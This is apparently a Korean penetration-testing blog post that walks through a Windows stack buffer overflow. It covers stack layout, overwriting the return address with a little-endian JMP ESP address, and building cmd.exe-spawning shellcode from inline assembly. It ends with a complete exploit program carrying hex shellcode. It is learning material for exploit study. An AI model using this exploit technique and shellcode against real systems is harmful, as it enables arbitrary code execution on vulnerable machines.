스택의 기본구조
DATA |
SFP |
RET |
arg1 |
arg2 |
arg3 |
c++소스
1-1
#include<stdio.h>
#include<string.h>
void func(char attack[])
{
char buf[4];
memcpy(buf,attack,512); //memcpy 메모리 복사함수인데, attack의 값을 buf에 복사하는 것이다. 512는 바이트 수
}
int main()
{
char attack[512] = "\0";
memcpy(&attack[0],"aaaabbbbccccdddd",16);
func(attack);
return 0;
}
위의 소스를 실행하면 오류가난다.
오류를 확인해보면 offset부분에 값이 cccc를 가르키고 있다.
aaaa [var] |
bbbb [SFP] |
cccc [RET] |
이유는 스택으로보면, 지역변수가 buf[4]로 4바이트를 선언했다.
따라서 var에 4바이트가 최대이기 때문에 다차고 나면 스택에서 SFP -> RET 순으로 담기게 된다.
offset은 다음 실행할 명령어를 가리킨다. 즉, EIP의 값을 가져온다.
EIP란 다음 실행할 명령어를 기억하는 레지스터이다.
RET은 EIP의 값을 가지고 있으므로 RET값 부분에 만약에 권한을 탈취하는 값이 들어가게 되면 그 코드가 실행되게 된다. 즉, 지역변수크기(var)+4(SFP) 이후의 값이 RET값이 된다.
4바이트씩 끈어 계산하기 때문에,
1,2,3,4 크기 전부 4로 계산
5,6,7,8 크기 전부 8로 계산 즉 4바이트 단위로 끈어서 계산한다.
디버거로 확인해보면 EIP의 값에 Offset값이 저장되는 것을 알 수 있다.
위의 내용을 활용하여 BOF
모든 exe파일에는 kernel32와 ntdll이 존재한다.
둘다 들어가서 Ctrl +F 를 눌러 JMP ESP 를 입력한다.
JMP ESP 는 MOV EIP,ESP를 의미한다. 즉 ,다음 실행될 명령어의 위치를 가리킨다.
BOF를 하기위해서는 이 주소의 값이 필요하기 때문이다.
7C971EED -> 8바이트를 4바이트로 넣어야된다. 따라서, 7C 97 1E ED 이런식으로 넣어야한다.
즉, \x7C\x97\x1E\xED 이런식으로 16진수로 표현하여 넣어주면된다.
그런데 윈도우나 이런 것들은 저장될 때 리틀엔디안 방식으로 저장되기 때문에 \xED\x1E\x97\x7C로 바꿔서 넣어줘야 한다.
위의 내용을 토대로 c++소스
1-2
#include<stdio.h>
#include<string.h>
void func(char attack[])
{
char buf[4];
memcpy(buf,attack,512);
}
int main()
{
char attack[512] = "\0";
memcpy(&attack[0],"aaaabbbb",8); //dummy buf의 크기가 4이므로 4+4=8 이후의 값 RET에 가기위해 더미값으로 채움
//7C971EED FFE4 JMP ESP
memcpy(&attack[8],"\xED\x1E\x97\x7C",4); //Return address 리틀앤디안 방식으로 저장.
memcpy(&attack[12],"AAAA",4); //attack code
func(attack);
return 0;
}
위의 소스를 디버깅하다보면 , JMP ESP를 통해 ESP에 있는 AAAA값을 EIP로 옮겨준다. 따라서 AAAA가 실행이된다.
간단하게 cmd실행하는 코드
win32 application으로 프로젝트 생성
1-3
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char str[]="cmd.exe";
WinExec(str,SW_SHOW);
return 0;
}
위 코드를 디버거로 실행
winmain함수이기에 GetModuleHadnleA 밑에 CALL함수를 찾아 들어간다.
들어가서 RETN을 제외하고 복사한다.
복사한 것을 컴파일러에 넣고, 아래와 같이 수정
1-4
// code.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
__asm{
PUSH EBP
MOV EBP,ESP
SUB ESP,8
MOV DWORD PTR SS:[EBP-8],2E646D63h //cmd.exe의 주소값을 리틀앤디안방식으로 변환해 4바이트씩넣는다.
MOV DWORD PTR SS:[EBP-4],657865h //위와 동일
PUSH 5
LEA EDX,DWORD PTR SS:[EBP-8]
PUSH EDX
MOV EAX,7C86114Dh //함수주소 값을 넣어준다.
CALL EAX
XOR EAX,EAX
MOV ESP,EBP
POP EBP
//00405030 63 6D 64 2E 65 78 65 00 cmd.exe.
}
return 0;
}
함수 주소값은 WinExec의 위치에 마우스를 갖다대면 나온다.
실행하면 cmd창이 실행된다.
어셈블러로 변환하구 컴파일한 소스를 다시 디버거 하여 복사한다.
binary코드로 변환해서 메모장에 복사 후 , \x를 붙여서 생성
위의 코드를 1-2코드 부분에 "AAAA" 에 넣는다.
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
void func(char attack[])
{
char buf[4];
memcpy(buf, attack, 512);
}
int main()
{
char attack[512] = "\0";
memcpy(&attack[0], "aaaabbbb", 8); // dummy
//7C971EED FFE>JMP ESP
memcpy(&attack[8], "\xED\x1E\x97\x7C", 4); // Return address
memcpy(&attack[12], "\x55\x8B\xEC\x83\xEC\x08\x36\xC7\x45\xF8\x63\x6D\x64\x2E\x36\xC7\x45\xFC\x65\x78\x65\x00\x6A\x05\x36\x8D\x55\xF8\x52\xB8\x4D\x11\x86\x7C\xFF\xD0\x33\xC0\x8B\xE5\x5D", 60); // shellcode or payload
func(attack);
return 0;
}
실행하면 오버플로우가 일어나 cmd가 실행되게 된다.
'모의해킹' 카테고리의 다른 글
취약 홈페이지를 통해 각종 공격 대응. (0) | 2019.06.28 |
---|---|
취약한 홈페이지 구축 (0) | 2019.06.18 |
apm구축 (0) | 2019.06.18 |